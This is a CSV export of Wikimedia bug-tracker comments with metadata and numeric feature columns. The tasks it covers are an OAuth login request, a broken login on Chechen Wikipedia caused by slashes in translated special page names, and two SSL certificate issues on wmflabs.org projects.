280350,Allow Wikimedia OAuth login,This looks fixed to me,,,1387359680,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-yw42vj5h5opz3w6py6lb,task_subcomment,,True,c2,3,True,,,16,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,20.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,3.6,1.0,This looks fixed to me
280346,Allow Wikimedia OAuth login,"This was definitely the plan all along.  I will get to this but I'm not sure if right away.  If you need this right away, I'd be happy to help with a gerrit Change",,,1385303623,,PHID-USER-vbyvvtbztxaeuaxelxx4,False,,,PHID-TASK-yw42vj5h5opz3w6py6lb,task_subcomment,,True,c2,3,False,,,12,True,2.0,0.0,0.0,0.0,2.0,5.0,5.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,7.0,0.0,20.0,12.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,5.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,7.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,15.0,5.0,2.0,12.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,10.0,12.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,3.1707317073170733,0.8048780487804879,"This was definitely the plan all along.  I will get to this but I'm not sure if right away.  If you need this right away, I'd be happy to help with a gerrit Change"
280341,Allow Wikimedia OAuth login,Prioritization and scheduling of this bug is tracked on Mingle card https://mingle.corp.wikimedia.org/projects/analytics/cards/1284,,,1385251615,,PHID-USER-v7l22dsoqmpmlusn2mhn,False,,,PHID-TASK-yw42vj5h5opz3w6py6lb,task_subcomment,,True,c2,3,False,,,12,True,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,25.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,1.0,Prioritization and scheduling of this bug is tracked on Mingle card URL
59410,"Login for content language ""ce"" broken because of ""/"" in special page name","Hi. We have a problem with the entrance and exit to the site.

Please correct synonyms, we are no longer able to enter the system under its

entrance

https://ce.wikipedia.org/w/index.php?title=%D0%91%D0%B5%D0%BB%D1%85%D0%B0%D0%BD:%D0%A7%D1%83%D0%B2%D0%B0%D0%BB%D0%B0%D1%80/%D1%8F%D0%BB%D0%B0%D1%80&returnto=%D0%9A%D0%BE%D1%8C%D1%80%D1%82%D0%B0+%D0%B0%D0%B3%D3%80%D0%BE

output

https://ce.wikipedia.org/w/index.php?title=%D0%91%D0%B5%D0%BB%D1%85%D0%B0%D0%BD:%D0%90%D1%80%D0%B0%D0%B2%D0%B0%D0%BB%D0%B0%D1%80/%D1%8F%D0%BB%D0%B0%D1%80&returnto=%D0%9A%D0%BE%D1%8C%D1%80%D1%82%D0%B0+%D0%B0%D0%B3%D3%80%D0%BE


Userlogin → Чудалар
Userlogout → Арадалар

--------------------------
**Version**: wmf-deployment
**Severity**: major",Needs Triage,90.0,1385114220,1385155180.0,PHID-USER-7326nrjc6zhnjwnxngjy,False,,False,PHID-TASK-n7phghrdsgveme7tbx73,task_description,resolved,True,c2,3,False,False,True,12,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,6.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,1.0,16.0,0.0,1.0,6.0,0.0,0.0,0.0,0.0,1.0,3.0,0.0,0.0,4.0,6.0,7.0,0.0,0.0,0.0,4.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,3.8208955223880596,0.6716417910447762,"Hi. We have a problem with the entrance and exit to the site.

Please correct synonyms, we are no longer able to enter the system under its

entrance

URL

output

URL


Userlogin → Чудалар
Userlogout → Арадалар

--------------------------
**Version**: wmf-deployment
**Severity**: major"
275390,"Login for content language ""ce"" broken because of ""/"" in special page name",Earned. Thank you very much.,,,1385154460,,PHID-USER-7326nrjc6zhnjwnxngjy,False,,,PHID-TASK-n7phghrdsgveme7tbx73,task_subcomment,,True,c2,3,False,,,12,True,14.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.4285714285714284,0.8571428571428571,Earned. Thank you very much.
275383,"Login for content language ""ce"" broken because of ""/"" in special page name","We are in the process of getting the update deployed on Wikimedia wikis, including ce.wikipedia.org. This is why the advise is to translate *what the source code says* and to not start inventing cool adaptations of what translators think will look cool.

Root cause of the issues was this change: https://translatewiki.net/w/i.php?title=MediaWiki:Sp-translate-data-SpecialPageAliases/ce&diff=prev&oldid=4793903",,,1385142133,,PHID-USER-w5a723w3wes6jd5wskgg,False,,,PHID-TASK-n7phghrdsgveme7tbx73,task_subcomment,,True,c2,3,False,,,12,True,0.0,0.0,0.0,0.0,2.0,3.0,7.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,3.0,12.0,0.0,3.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,9.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,19.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,9.0,7.0,9.0,2.0,2.0,12.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,2.0,12.0,5.0,0.0,0.0,0.0,2.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,4.327586206896552,0.7931034482758621,"We are in the process of getting the update deployed on Wikimedia wikis, including ce.wikipedia.org. This is why the advise is to translate *what the source code says* and to not start inventing cool adaptations of what translators think will look cool.

Root cause of the issues was this change: URL"
275377,"Login for content language ""ce"" broken because of ""/"" in special page name","Change 97032 merged by jenkins-bot:
Localisation updates from https://translatewiki.net.

https://gerrit.wikimedia.org/r/97032",,,1385140020,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-n7phghrdsgveme7tbx73,task_subcomment,,True,c2,3,False,,,12,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,13.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.666666666666667,1.0,"Change 97032 merged by jenkins-bot:
Localisation updates from URL

GERRIT_URL"
275373,"Login for content language ""ce"" broken because of ""/"" in special page name","Change 97034 merged by Reedy:
Localisation updates from https://translatewiki.net.

https://gerrit.wikimedia.org/r/97034",,,1385139752,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-n7phghrdsgveme7tbx73,task_subcomment,,True,c2,3,False,,,12,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,38.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,15.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.923076923076923,1.0,"Change 97034 merged by Reedy:
Localisation updates from URL

GERRIT_URL"
275369,"Login for content language ""ce"" broken because of ""/"" in special page name","Change 97033 merged by Reedy:
Localisation updates from https://translatewiki.net.

https://gerrit.wikimedia.org/r/97033",,,1385139738,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-n7phghrdsgveme7tbx73,task_subcomment,,True,c2,3,False,,,12,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,38.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,15.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.923076923076923,1.0,"Change 97033 merged by Reedy:
Localisation updates from URL

GERRIT_URL"
275363,"Login for content language ""ce"" broken because of ""/"" in special page name","Change 97034 had a related patch set uploaded by Siebrand:
Localisation updates from https://translatewiki.net.

https://gerrit.wikimedia.org/r/97034",,,1385139583,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-n7phghrdsgveme7tbx73,task_subcomment,,True,c2,3,False,,,12,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,28.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,4.888888888888889,1.0,"Change 97034 had a related patch set uploaded by Siebrand:
Localisation updates from URL

GERRIT_URL"
275357,"Login for content language ""ce"" broken because of ""/"" in special page name","Change 97033 had a related patch set uploaded by Siebrand:
Localisation updates from https://translatewiki.net.

https://gerrit.wikimedia.org/r/97033",,,1385139565,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-n7phghrdsgveme7tbx73,task_subcomment,,True,c2,3,False,,,12,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,28.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,4.888888888888889,1.0,"Change 97033 had a related patch set uploaded by Siebrand:
Localisation updates from URL

GERRIT_URL"
275351,"Login for content language ""ce"" broken because of ""/"" in special page name","Change 97032 had a related patch set uploaded by L10n-bot:
Localisation updates from https://translatewiki.net.

https://gerrit.wikimedia.org/r/97032",,,1385139456,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-n7phghrdsgveme7tbx73,task_subcomment,,True,c2,3,False,,,12,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,25.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,10.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,4.4,1.0,"Change 97032 had a related patch set uploaded by L10n-bot:
Localisation updates from URL

GERRIT_URL"
275345,"Login for content language ""ce"" broken because of ""/"" in special page name","Anyone know how long this has been broken? or if slashes in special page aliases ever worked?

It appears that the special page aliases were added in July, with slashes, and that the version of MediaWiki deployed then (1.22wmf10) also had broken login page.

Anyway, removing the slashes will fix it but new translations are not deployed immediately.  They should be deployed sometime in the next 6 hours or so.",,,1385129282,,PHID-USER-lzhljhpbm3qfphvqyill,False,,,PHID-TASK-n7phghrdsgveme7tbx73,task_subcomment,,True,c2,3,False,,,12,True,0.0,1.0,0.0,5.0,1.0,5.0,0.0,0.0,0.0,1.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,10.0,1.0,0.0,1.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,1.0,0.0,4.0,1.0,2.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,1.0,2.0,0.0,0.0,0.0,0.0,2.0,12.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,5.0,5.0,7.0,5.0,5.0,6.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,4.0,10.0,2.0,2.0,0.0,0.0,4.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,4.144578313253012,0.7349397590361446,"Anyone know how long this has been broken? or if slashes in special page aliases ever worked?

It appears that the special page aliases were added in July, with slashes, and that the version of MediaWiki deployed then (1.22wmf10) also had broken login page.

Anyway, removing the slashes will fix it but new translations are not deployed immediately.  They should be deployed sometime in the next 6 hours or so."
275340,"Login for content language ""ce"" broken because of ""/"" in special page name","Yeah, exactly because of slashes. But translatewiki do nothing to fix it.",,,1385122561,,PHID-USER-la7uv7mwacrpgvk65kzb,False,,,PHID-TASK-n7phghrdsgveme7tbx73,task_subcomment,,True,c2,3,False,,,12,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,20.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,13.0,7.0,0.0,0.0,7.0,20.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.133333333333334,0.9333333333333333,"Yeah, exactly because of slashes. But translatewiki do nothing to fix it."
275335,"Login for content language ""ce"" broken because of ""/"" in special page name","I am writing to let everyone know
The site http://translatewiki.net I corrected

http://translatewiki.net/wiki/MediaWiki:Sp-translate-data-SpecialPageAliases/ce",,,1385121986,,PHID-USER-7326nrjc6zhnjwnxngjy,False,,,PHID-TASK-n7phghrdsgveme7tbx73,task_subcomment,,True,c2,3,False,,,12,True,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,7.0,7.0,7.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,33.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,13.0,7.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,3.533333333333333,0.8666666666666667,"I am writing to let everyone know
The site URL I corrected

URL"
275329,"Login for content language ""ce"" broken because of ""/"" in special page name","After setting my local test wiki to Chechen language, I am certain this is caused by the slashes in the localised name of the special page. 

Maybe this change [1] needs to be reverted.

[1] https://gerrit.wikimedia.org/r/#q,I6e427d047a2f8e58677eb65b50866f767078c255,n,z",,,1385120253,,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,,PHID-TASK-n7phghrdsgveme7tbx73,task_subcomment,,True,c2,3,False,,,12,True,0.0,0.0,0.0,4.0,0.0,7.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,13.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,18.0,2.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,11.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,0.0,4.0,13.0,2.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,4.0,3.5555555555555554,0.8,"After setting my local test wiki to Chechen language, I am certain this is caused by the slashes in the localised name of the special page. 

Maybe this change [1] needs to be reverted.

[1] URL"
275323,"Login for content language ""ce"" broken because of ""/"" in special page name","If you've unified your account, you should be able to log in at any other language Wikipedia, e.g. [[ru:Special:Userlogin]].

But users without unified accounts cannot log into this wiki at all.",,,1385119144,,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,,PHID-TASK-n7phghrdsgveme7tbx73,task_subcomment,,True,c2,3,False,,,12,True,4.0,0.0,0.0,0.0,2.0,7.0,2.0,0.0,0.0,2.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,9.0,15.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,13.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,11.0,2.0,2.0,4.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,15.0,4.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,3.5869565217391304,0.8043478260869565,"If you've unified your account, you should be able to log in at any other language Wikipedia, e.g. [[ru:Special:Userlogin]].

But users without unified accounts cannot log into this wiki at all."
275314,"Login for content language ""ce"" broken because of ""/"" in special page name","This is the real problem. I really tried to login in Chechen Wikipedia, but there's simply no such page there. Could you please restore all modifications of login-module even if it needed to revert English messages?",,,1385119104,,PHID-USER-la7uv7mwacrpgvk65kzb,False,,,PHID-TASK-n7phghrdsgveme7tbx73,task_subcomment,,True,c2,3,False,,,12,True,2.0,0.0,0.0,0.0,0.0,7.0,2.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,9.0,12.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,2.0,0.0,0.0,5.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,12.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,14.0,2.0,2.0,9.0,0.0,0.0,0.0,0.0,7.0,2.0,0.0,0.0,7.0,12.0,5.0,2.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.186046511627907,0.9069767441860465,"This is the real problem. I really tried to login in Chechen Wikipedia, but there's simply no such page there. Could you please restore all modifications of login-module even if it needed to revert English messages?"
59371,SSL-Error for https at ee-dashboard.wmflabs.org (ssl_error_rx_record_too_long),"Unable to connect via https to https://ee-dashboard.wmflabs.org/ with Firefox and Chrome.

Firefox gives the error message: ssl_error_rx_record_too_long

--------------------------
**Version**: unspecified
**Severity**: normal
**URL**: https://ee-dashboard.wmflabs.org/
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=60865",Needs Triage,90.0,1385065320,1396211622.0,PHID-USER-jcypqodpdpbcicgwgh7j,False,,False,PHID-TASK-elp5rbzac3txvdjf54ze,task_description,resolved,True,c2,3,True,False,False,12,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,7.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,21.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,7.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.7142857142857144,0.48214285714285715,"Unable to connect via https to URL with Firefox and Chrome.

Firefox gives the error message: ssl_error_rx_record_too_long

--------------------------
**Version**: unspecified
**Severity**: normal
**URL**: URL
**See Also**:
URL"
273193,SSL-Error for https at ee-dashboard.wmflabs.org (ssl_error_rx_record_too_long),just tested again. Seems fixed now.,,,1396211622,,PHID-USER-jcypqodpdpbcicgwgh7j,False,,,PHID-TASK-elp5rbzac3txvdjf54ze,task_subcomment,,True,c2,3,True,,,30,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,38.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.75,0.875,just tested again. Seems fixed now.
273189,SSL-Error for https at ee-dashboard.wmflabs.org (ssl_error_rx_record_too_long),Prioritization and scheduling of this bug is tracked on Mingle card https://mingle.corp.wikimedia.org/projects/analytics/cards/1280,,,1385072210,,PHID-USER-v7l22dsoqmpmlusn2mhn,False,,,PHID-TASK-elp5rbzac3txvdjf54ze,task_subcomment,,True,c2,3,False,,,12,True,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,25.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,1.0,Prioritization and scheduling of this bug is tracked on Mingle card URL
273183,SSL-Error for https at ee-dashboard.wmflabs.org (ssl_error_rx_record_too_long),"This is not a general Labs issue, but for a specific project.
Moving to the Analytics crew.",,,1385071786,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-elp5rbzac3txvdjf54ze,task_subcomment,,True,c2,3,True,,,12,True,0.0,0.0,0.0,0.0,5.0,10.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,5.0,19.0,0.0,5.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,5.0,0.0,0.0,0.0,3.619047619047619,0.9047619047619048,"This is not a general Labs issue, but for a specific project.
Moving to the Analytics crew."
58927,SSL Certificate for UTRS on wmflabs.org,"**Author:** `tparis.wiki`

**Description:**
Please set up an SSL cert for the UTRS project.

--------------------------
**Version**: unspecified
**Severity**: enhancement
**URL**: http://utrs.wmflabs.org/
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=53175",Needs Triage,90.0,1384230840,1388659862.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-jag2rypjyxauvwi4iuft,task_description,declined,True,c2,3,False,False,False,10,True,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,22.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,2.0,0.0,0.0,0.0,3.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.966666666666667,0.45,"**Author:** CODE

**Description:**
Please set up an SSL cert for the UTRS project.

--------------------------
**Version**: unspecified
**Severity**: enhancement
**URL**: URL
**See Also**:
URL"
